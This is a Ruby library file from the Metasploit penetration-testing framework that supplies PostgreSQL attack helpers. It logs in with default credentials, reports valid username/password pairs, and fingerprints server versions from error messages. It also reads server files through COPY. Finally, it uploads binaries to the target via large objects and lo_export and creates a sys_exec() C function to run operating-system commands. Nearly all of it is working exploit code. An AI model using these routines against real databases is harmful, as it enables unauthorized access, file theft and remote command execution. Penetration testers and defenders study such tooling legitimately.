lib/msf/core/exploit/remote/postgres.rb
# -*- coding: binary -*-
module Msf
###
#
# This module exposes methods for querying a remote PostgreSQL service.
#
###
module Exploit::Remote::Postgres
require 'postgres_msf'
require 'base64'
include Msf::Db::PostgresPR
# @!attribute [rw] postgres_conn
# @return [::Msf::Db::PostgresPR::Connection]
attr_accessor :postgres_conn
#
# Creates an instance of a PostgreSQL exploit module.
#
def initialize(info = {})
super
# Register the options that all Postgres exploits may make use of.
register_options(
[
Opt::RHOST,
Opt::RPORT(5432),
OptString.new('DATABASE', [ true, 'The database to authenticate against', 'template1']),
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'postgres']),
OptString.new('PASSWORD', [ false, 'The password for the specified username. Leave blank for a random password.', 'postgres']),
OptBool.new('VERBOSE', [false, 'Enable verbose output', false]),
OptString.new('SQL', [ false, 'The SQL query to execute', 'select version()']),
OptBool.new('RETURN_ROWSET', [false, "Set to true to see query result sets", true])
], Msf::Exploit::Remote::Postgres)
register_autofilter_ports([ 5432 ])
register_autofilter_services(%W{ postgres })
end
# @!group Datastore accessors
# Return the datastore value of the same name
# @return [String] IP address of the target
def rhost; datastore['RHOST']; end
# Return the datastore value of the same name
# @return [Integer] TCP port where the target service is running
def rport; datastore['RPORT']; end
# Return the datastore value of the same name
# @return [String] Username for authentication
def username; datastore['USERNAME']; end
# Return the datastore value of the same name
# @return [String] Password for authentication
def password; datastore['PASSWORD']; end
# Return the datastore value of the same name
# @return [String] Database to connect to when authenticating
def database; datastore['DATABASE']; end
# Return the datastore value of the same name
# @return [Boolean] Whether to print verbose output
def verbose; datastore['VERBOSE']; end
# @!endgroup
# Takes a number of arguments (defaults to the datastore for appropriate
# values), and will either populate {#postgres_conn} and return
# +:connected+, or will return +:error+, +:error_databse+, or
# +:error_credentials+ in case of an error.
#
# Fun fact: if you get +:error_database+, it means your username and
# password was accepted (you just failed to guess a correct running database
# instance).
#
# @note This method will first call {#postgres_logout} if the module is
# already connected.
#
# @param opts [Hash] Options for authenticating
# @option opts [String] :database The database
# @option opts [String] :username The username
# @option opts [String] :username The username
# @option opts [String] :server IP address or hostname of the target server
# @option opts [Integer] :port TCP port on :server
#
# @return [:error_database] if user/pass are correct but database is wrong
# @return [:error_credentials] if user/pass are wrong
# @return [:error] if some other error occurred
# @return [:connected] if everything went as planned
def postgres_login(opts={})
postgres_logout if self.postgres_conn
db = opts[:database] || datastore['DATABASE']
username = opts[:username] || datastore['USERNAME']
password = opts[:password] || datastore['PASSWORD']
ip = opts[:server] || datastore['RHOST']
port = opts[:port] || datastore['RPORT']
proxies = opts[:proxies] || datastore['Proxies']
uri = "tcp://#{ip}:#{port}"
if Rex::Socket.is_ipv6?(ip)
uri = "tcp://[#{ip}]:#{port}"
end
verbose = opts[:verbose] || datastore['VERBOSE']
begin
self.postgres_conn = Connection.new(db,username,password,uri,proxies)
rescue RuntimeError => e
case e.to_s.split("\t")[1]
when "C3D000"
print_status "#{ip}:#{port} Postgres - Invalid database: #{db} (Credentials '#{username}:#{password}' are OK)" if verbose
return :error_database # Note this means the user:pass is good!
when "C28000", "C28P01"
print_error "#{ip}:#{port} Postgres - Invalid username or password: '#{username}':'#{password}'" if verbose
return :error_credentials
else
print_error "#{ip}:#{port} Postgres - Error: #{e.inspect}" if verbose
return :error
end
rescue ::Rex::ConnectionRefused => e
print_error "#{ip}:#{port} Postgres - Connection Refused: #{e}" if verbose
return :connection_refused
end
if self.postgres_conn
print_good "#{self.postgres_conn.peerhost}:#{self.postgres_conn.peerport} Postgres - Logged in to '#{db}' with '#{username}':'#{password}'" if verbose
return :connected
end
end
# Logs out of a database instance and sets {#postgres_conn} to nil
#
# @return [void]
def postgres_logout
ip = self.postgres_conn.peerhost
port = self.postgres_conn.peerport
verbose = datastore['VERBOSE']
if self.postgres_conn
self.postgres_conn.close if(self.postgres_conn.kind_of?(Connection) && self.postgres_conn.instance_variable_get("@conn"))
self.postgres_conn = nil
print_status "#{ip}:#{port} Postgres - Disconnected" if verbose
end
end
# If not currently connected, attempt to connect. If an
# error is encountered while executing the query, it will return with
# :error ; otherwise, it will return with :complete.
#
# @param sql [String] The query to run
# @param doprint [Boolean] Whether the result should be printed
# @return [Hash]
def postgres_query(sql=nil,doprint=false)
unless self.postgres_conn
result = postgres_login
unless result == :connected
return { conn_error: result }
end
end
if self.postgres_conn
sql ||= datastore['SQL']
vprint_status "#{self.postgres_conn.peerhost}:#{self.postgres_conn.peerport} Postgres - querying with '#{sql}'"
begin
resp = self.postgres_conn.query(sql)
rescue RuntimeError => e
case sql_error_msg = e.to_s.split("\t")[1] # Deal with some common errors
when "C42601"
sql_error_msg += " Invalid SQL Syntax: '#{sql}'"
when "C42P01"
sql_error_msg += " Table does not exist: '#{sql}'"
when "C42703"
sql_error_msg += " Column does not exist: '#{sql}'"
when "C42883"
sql_error_msg += " Function does not exist: '#{sql}'"
else # Let the user figure out the rest.
if e == Timeout::Error
sql_error_msg = 'Execution expired'
elsif sql_error_msg.nil?
sql_error_msg = e.inspect
else
sql_error_msg += " SQL statement '#{sql}' returns #{e.inspect}"
end
end
return {:sql_error => sql_error_msg}
end
postgres_print_reply(resp,sql) if doprint
return {:complete => resp}
end
end
# If resp is not actually a Connection::Result object, then return
# :error (but not an actual Exception, that's up to the caller.
# Otherwise, create a rowset using Rex::Text::Table (if there's
# more than 0 rows) and return :complete.
def postgres_print_reply(resp=nil,sql=nil)
verbose = datastore['VERBOSE']
return :error unless resp.kind_of? Connection::Result
if resp.rows and resp.fields
print_status "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Rows Returned: #{resp.rows.size}" if verbose
if resp.rows.size > 0
tbl = Rex::Text::Table.new(
'Indent' => 4,
'Header' => "Query Text: '#{sql}'",
'Columns' => resp.fields.map {|x| x.name}
)
resp.rows.each {|row| tbl << row.map { |x| x.nil? ? "NIL" : x } }
print_line(tbl.to_s)
end
end
return :complete
end
# Attempts to fingerprint a remote PostgreSQL instance, inferring version
# number from the failed authentication messages or simply returning the
# result of "select version()" if authentication was successful.
#
# @return [Hash] A hash containing the version in one of the keys :preauth,
# :auth, or :unknown, depending on how it was determined
# @see #postgres_authed_fingerprint
# @see #analyze_auth_error
def postgres_fingerprint(args={})
return postgres_authed_fingerprint if self.postgres_conn
db = args[:database] || datastore['DATABASE']
username = args[:username] || datastore['USERNAME']
password = args[:password] || datastore['PASSWORD']
rhost = args[:server] || datastore['RHOST']
rport = args[:port] || datastore['RPORT']
uri = "tcp://#{rhost}:#{rport}"
if Rex::Socket.is_ipv6?(rhost)
uri = "tcp://[#{rhost}]:#{rport}"
end
verbose = args[:verbose] || datastore['VERBOSE']
begin
self.postgres_conn = Connection.new(db,username,password,uri)
rescue RuntimeError => e
vprint_error e.to_s
version_hash = analyze_auth_error e
return version_hash
end
return postgres_authed_fingerprint if self.postgres_conn
end
# Ask the server what its version is
#
# @return (see #postgres_fingerprint)
# @see #postgres_fingerprint
def postgres_authed_fingerprint
resp = postgres_query("select version()",false)
ver = resp[:complete].rows[0][0]
return {:auth => ver}
end
# Matches up filename, line number, and routine with a version.
# These all come from source builds of Postgres. TODO: check
# in on the binary distros, see if they're different.
#
# @param e [RuntimeError] The exception raised by Connection.new
# @return (see #postgres_fingerprint)
# @see #postgres_fingerprint
def analyze_auth_error(e)
fname,fline,froutine = e.to_s.split("\t")[3,3]
fingerprint = "#{fname}:#{fline}:#{froutine}"
case fingerprint
# Usually, Postgres is on Linux, so let's use that as a baseline.
when "Fauth.c:L395:Rauth_failed" ; return {:preauth => "7.4.26-27"} # Failed (bad db, bad credentials)
when "Fpostinit.c:L264:RInitPostgres" ; return {:preauth => "7.4.26-27"} # Failed (bad db, good credentials)
when "Fauth.c:L452:RClientAuthentication" ; return {:preauth => "7.4.26-27"} # Rejected (maybe good, but not allowed due to pg_hba.conf)
when "Fauth.c:L400:Rauth_failed" ; return {:preauth => "8.0.22-23"} # Failed (bad db, bad credentials)
when "Fpostinit.c:L274:RInitPostgres" ; return {:preauth => "8.0.22-23"} # Failed (bad db, good credentials)
when "Fauth.c:L457:RClientAuthentication" ; return {:preauth => "8.0.22-23"} # Rejected (maybe good)
when "Fauth.c:L337:Rauth_failed" ; return {:preauth => "8.1.18-19"} # Failed (bad db, bad credentials)
when "Fpostinit.c:L354:RInitPostgres" ; return {:preauth => "8.1.18-19"} # Failed (bad db, good credentials)
when "Fauth.c:L394:RClientAuthentication" ; return {:preauth => "8.1.18-19"} # Rejected (maybe good)
when "Fauth.c:L414:RClientAuthentication" ; return {:preauth => "8.2.7-1"} # Failed (bad db, bad credentials) ubuntu 8.04.2
when "Fauth.c:L362:Rauth_failed" ; return {:preauth => "8.2.14-15"} # Failed (bad db, bad credentials)
when "Fpostinit.c:L319:RInitPostgres" ; return {:preauth => "8.2.14-15"} # Failed (bad db, good credentials)
when "Fauth.c:L419:RClientAuthentication" ; return {:preauth => "8.2.14-15"} # Rejected (maybe good)
when "Fauth.c:L1003:Rauth_failed" ; return {:preauth => "8.3.8"} # Failed (bad db, bad credentials)
when "Fpostinit.c:L388:RInitPostgres" ; return {:preauth => "8.3.8-9"} # Failed (bad db, good credentials)
when "Fauth.c:L1060:RClientAuthentication" ; return {:preauth => "8.3.8"} # Rejected (maybe good)
when "Fauth.c:L1017:Rauth_failed" ; return {:preauth => "8.3.9"} # Failed (bad db, bad credentials)
when "Fauth.c:L1074:RClientAuthentication" ; return {:preauth => "8.3.9"} # Rejected (maybe good, but not allowed due to pg_hba.conf)
when "Fauth.c:L258:Rauth_failed" ; return {:preauth => "8.4.1"} # Failed (bad db, bad credentials)
when "Fpostinit.c:L422:RInitPostgres" ; return {:preauth => "8.4.1-2"} # Failed (bad db, good credentials)
when "Fauth.c:L349:RClientAuthentication" ; return {:preauth => "8.4.1"} # Rejected (maybe good)
when "Fauth.c:L273:Rauth_failed" ; return {:preauth => "8.4.2"} # Failed (bad db, bad credentials)
when "Fauth.c:L364:RClientAuthentication" ; return {:preauth => "8.4.2"} # Rejected (maybe good)
when "Fmiscinit.c:L432:RInitializeSessionUserId" ; return {:preauth => "9.1.5"} # Failed (bad db, bad credentials)
when "Fpostinit.c:L709:RInitPostgres" ; return {:preauth => "9.1.5"} # Failed (bad db, good credentials)
when "Fauth.c:L302:Rauth_failed" ; return {:preauth => "9.1.6"} # Bad password, good database
when "Fpostinit.c:L718:RInitPostgres" ; return {:preauth => "9.1.6"} # Good creds, non-existent but allowed database
when "Fauth.c:L483:RClientAuthentication" ; return {:preauth => "9.1.6"} # Bad user
when "Fmiscinit.c:L362:RInitializeSessionUserId" ; return {:preauth => "9.4.1-5"} # Bad user
when "Fauth.c:L285:Rauth_failed" ; return {:preauth => "9.4.1-5"} # Bad creds, good database
when "Fpostinit.c:L794:RInitPostgres" ; return {:preauth => "9.4.1-5"} # Good creds, non-existent but allowed database
when "Fauth.c:L481:RClientAuthentication" ; return {:preauth => "9.4.1-5"} # bad user or host
# Windows
when 'F.\src\backend\libpq\auth.c:L273:Rauth_failed' ; return {:preauth => "8.4.2-Win"} # Failed (bad db, bad credentials)
when 'F.\src\backend\utils\init\postinit.c:L422:RInitPostgres' ; return {:preauth => "8.4.2-Win"} # Failed (bad db, good credentials)
when 'F.\src\backend\libpq\auth.c:L359:RClientAuthentication' ; return {:preauth => "8.4.2-Win"} # Rejected (maybe good)
when 'F.\src\backend\libpq\auth.c:L464:RClientAuthentication' ; return {:preauth => "9.0.3-Win"} # Rejected (not allowed in pg_hba.conf)
when 'F.\src\backend\libpq\auth.c:L297:Rauth_failed' ; return {:preauth => "9.0.3-Win"} # Rejected (bad db or bad creds)
when 'Fsrc\backend\libpq\auth.c:L302:Rauth_failed' ; return {:preauth => "9.2.1-Win"} # Rejected (bad db or bad creds)
when 'Fsrc\backend\utils\init\postinit.c:L717:RInitPostgres' ; return {:preauth => "9.2.1-Win"} # Failed (bad db, good credentials)
when 'Fsrc\backend\libpq\auth.c:L479:RClientAuthentication' ; return {:preauth => "9.2.1-Win"} # Rejected (not allowed in pg_hba.conf)
# OpenSolaris (thanks Alexander!)
when 'Fmiscinit.c:L420:' ; return {:preauth => '8.2.6-8.2.13-OpenSolaris'} # Failed (good db, bad credentials)
when 'Fmiscinit.c:L382:' ; return {:preauth => '8.2.4-OpenSolaris'} # Failed (good db, bad credentials)
when 'Fpostinit.c:L318:' ; return {:preauth => '8.2.4-8.2.9-OpenSolaris'} # Failed (bad db, bad credentials)
when 'Fpostinit.c:L319:' ; return {:preauth => '8.2.10-8.2.13-OpenSolaris'} # Failed (bad db, bad credentials)
else
return {:unknown => fingerprint}
end
end
# @return [String] The password as provided by the user or a random one if
# none has been given.
def postgres_password
if datastore['PASSWORD'].to_s.size > 0
datastore['PASSWORD'].to_s
else
'INVALID_' + Rex::Text.rand_text_alpha(rand(6) + 1)
end
end
# This presumes the user has rights to both the file and to create a table.
# If not, {#postgres_query} will return an error (usually :sql_error),
# and it should be dealt with by the caller.
def postgres_read_textfile(filename)
# Check for temp table creation privs first.
unless postgres_has_database_privilege('TEMP')
return({:sql_error => "Insufficient privileges for #{datastore['USERNAME']} on #{datastore['DATABASE']}"})
end
temp_table_name = Rex::Text.rand_text_alpha(rand(10)+6)
read_query = %Q{CREATE TEMP TABLE #{temp_table_name} (INPUT TEXT);
COPY #{temp_table_name} FROM '#{filename}';
SELECT * FROM #{temp_table_name}}
return postgres_query(read_query,true)
end
# @return [Boolean] Whether the current user has privilege +priv+ on the
# current database
def postgres_has_database_privilege(priv)
sql = %Q{select has_database_privilege(current_user,current_database(),'#{priv}')}
ret = postgres_query(sql,false)
if ret.keys[0] == :complete
ret.values[0].rows[0][0].inspect =~ /t/i ? true : false
else
return false
end
end
# Creates the function sys_exec() in the pg_temp schema.
# @deprecated Just get a real shell instead
def postgres_create_sys_exec(dll)
q = "create or replace function pg_temp.sys_exec(text) returns int4 as '#{dll}', 'sys_exec' language c returns null on null input immutable"
resp = postgres_query(q);
if resp[:sql_error]
print_error "Error creating pg_temp.sys_exec: #{resp[:sql_error]}"
return false
end
return true
end
# This presumes the pg_temp.sys_exec() udf has been installed, almost
# certainly by postgres_create_sys_exec()
#
# @deprecated Just get a real shell instead
def postgres_sys_exec(cmd)
print_status "Attempting to Execute: #{cmd}"
q = "select pg_temp.sys_exec('#{cmd}')"
resp = postgres_query(q)
if resp[:sql_error]
print_error resp[:sql_error]
return false
end
return true
end
# Uploads the given local file to the remote server
#
# @param fname [String] Name of a file on the local filesystem to be
# uploaded
# @param remote_fname (see #postgres_upload_binary_data)
# @return (see #postgres_upload_binary_data)
def postgres_upload_binary_file(fname, remote_fname=nil)
data = File.read(fname, mode: 'rb')
postgres_upload_binary_data(data, remote_fname)
end
# Writes data to disk on the target server.
#
# This is accomplished in 5 steps:
# 1. Create a new object with "select lo_create(-1)"
# 2. Delete any resulting rows in pg_largeobject table.
# On 8.x and older, postgres inserts rows as a result of the call to
# lo_create. Deleting them here approximates the state on 9.x where no
# such insert happens.
# 3. Break the data into LOBLOCKSIZE-byte chunks.
# 4. Insert each of the chunks as a row in pg_largeobject
# 5. Select lo_export to write the file to disk
#
# @param data [String] Raw binary to write to disk
# @param remote_fname [String] Name of the file on the remote server where
# the data will be stored. Default is "<random>.dll"
# @return [nil] if any part of this process failed
# @return [String] if everything went as planned, the name of the file we
# dropped. This is really only useful if +remote_fname+ is nil
def postgres_upload_binary_data(data, remote_fname=nil)
remote_fname ||= Rex::Text::rand_text_alpha(8) + ".dll"
# From the Postgres documentation:
# SELECT lo_creat(-1); -- returns OID of new, empty large object
# Doing it this way instead of calling lo_create with a random number
# ensures that we don't accidentally hit the id of a real object.
resp = postgres_query "select lo_creat(-1)"
unless resp and resp[:complete] and resp[:complete].rows[0]
print_error "Failed to get a new loid"
return
end
oid = resp[:complete].rows[0][0].to_i
queries = [ "delete from pg_largeobject where loid=#{oid}" ]
# Break the data into smaller chunks that can fit in the size allowed in
# the pg_largeobject data column.
# From the postgres documentation:
# "The amount of data per page is defined to be LOBLKSIZE (which is
# currently BLCKSZ/4, or typically 2 kB)."
# Empirically, it seems that 8kB is fine on 9.x, but we play it safe and
# stick to 2kB.
chunks = []
while ((c = data.slice!(0..2047)) && c.length > 0)
chunks.push c
end
chunks.each_with_index do |chunk, pageno|
b64_data = postgres_base64_data(chunk)
insert = "insert into pg_largeobject (loid,pageno,data) values(%d, %d, decode('%s', 'base64'))"
queries.push( "#{insert}"%[oid, pageno, b64_data] )
end
queries.push "select lo_export(#{oid}, '#{remote_fname}')"
# Now run each of the queries we just built
queries.each do |q|
resp = postgres_query(q)
if resp && resp[:sql_error]
print_error "Could not write the library to disk."
print_error resp[:sql_error]
# Can't really recover from this, bail
return nil
end
end
return remote_fname
end
# Calls {#postgres_base64_data} with the contents of file +fname+
#
# @param fname [String] Name of a file on the local system
# @return (see #postgres_base64_data)
def postgres_base64_file(fname)
data = File.open(fname, "rb") {|f| f.read f.stat.size}
postgres_base64_data(data)
end
# Converts data to base64 with no newlines
#
# @param data [String] Raw data to be base64'd
# @return [String] A base64 string suitable for passing to postgresql's
# decode(..., 'base64') function
def postgres_base64_data(data)
[data].pack("m*").gsub(/\r?\n/,"")
end
# Creates a temporary table to store base64'ed binary data in.
#
# @deprecated No longer necessary since we can insert base64 data directly
def postgres_create_stager_table
tbl = Rex::Text.rand_text_alpha(8).downcase
fld = Rex::Text.rand_text_alpha(8).downcase
resp = postgres_query("create temporary table #{tbl}(#{fld} text)")
if resp[:sql_error]
print_error resp[:sql_error]
return false
end
return [tbl,fld]
end
end
end